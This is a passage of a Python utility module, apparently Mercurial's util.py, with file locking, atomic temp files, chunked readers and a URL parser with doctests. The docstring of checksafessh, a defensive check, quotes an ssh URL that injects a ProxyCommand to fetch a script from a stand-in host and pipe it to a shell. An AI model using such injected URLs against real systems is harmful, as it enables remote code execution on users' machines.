     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2  # pytype: disable=import-error
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return {normcase(n): n for n in os.listdir(dir)}
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" work fine, as we do not support Python < 2.7.4.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             # fp.readline deals with EINTR correctly, use it as a workaround.
             return iter(fp.readline, b'')
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
